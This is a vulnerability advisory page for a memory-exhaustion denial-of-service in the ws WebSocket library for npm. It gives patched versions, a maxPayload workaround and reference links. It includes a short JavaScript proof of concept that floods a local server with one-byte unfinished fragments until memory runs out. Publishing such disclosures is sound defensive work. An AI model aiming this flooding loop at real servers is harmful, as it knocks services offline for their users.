ws: Memory exhaustion DoS from tiny fragments and data chunks
Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
Proof of concept
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Patches
The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).
Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
Credits
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
Betroffene Software
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| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | ws | >= 1.1.0, < 5.2.5, >= 6.0.0, < 6.2.4, >= 7.0.0, < 7.5.11, >= 8.0.0, < 8.21.0 | 5.2.5, 6.2.4, 7.5.11, 8.21.0 |
Verweise
- https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p
- https://nvd.nist.gov/vuln/detail/CVE-2026-48779
- https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8
- https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94
- https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53
- https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json
- https://github.com/websockets/ws
- https://bugzilla.redhat.com/show_bug.cgi?id=2489661
- https://access.redhat.com/security/cve/CVE-2026-48779
- https://access.redhat.com/errata/RHSA-2026:37272
- https://access.redhat.com/errata/RHSA-2026:36820
- https://access.redhat.com/errata/RHSA-2026:36754
- https://access.redhat.com/errata/RHSA-2026:34342
- https://access.redhat.com/errata/RHSA-2026:33574
- https://access.redhat.com/errata/RHSA-2026:33183
- https://access.redhat.com/errata/RHSA-2026:33173
- https://access.redhat.com/errata/RHSA-2026:33163
- https://access.redhat.com/errata/RHSA-2026:33160
- https://access.redhat.com/errata/RHSA-2026:33155
- https://access.redhat.com/errata/RHSA-2026:29197
- https://access.redhat.com/errata/RHSA-2026:27171
- https://access.redhat.com/errata/RHSA-2026:26638
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-1050, CWE-400, CWE-770- Plattform
- npm
- Paket
ws- Veröffentlicht
- 15.06.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-96hv-2xvq-fx4p - CC BY 4.0
Schwachstellenhistorie: ws
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- Einträge insgesamt
- 7
- Erste → letzte
- 02.2019 06.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 4
- Mittel 2
- Niedrig 1
Veröffentlichungen pro Jahr
- 2019: 3
- 2020: 0
- 2021: 1
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 2
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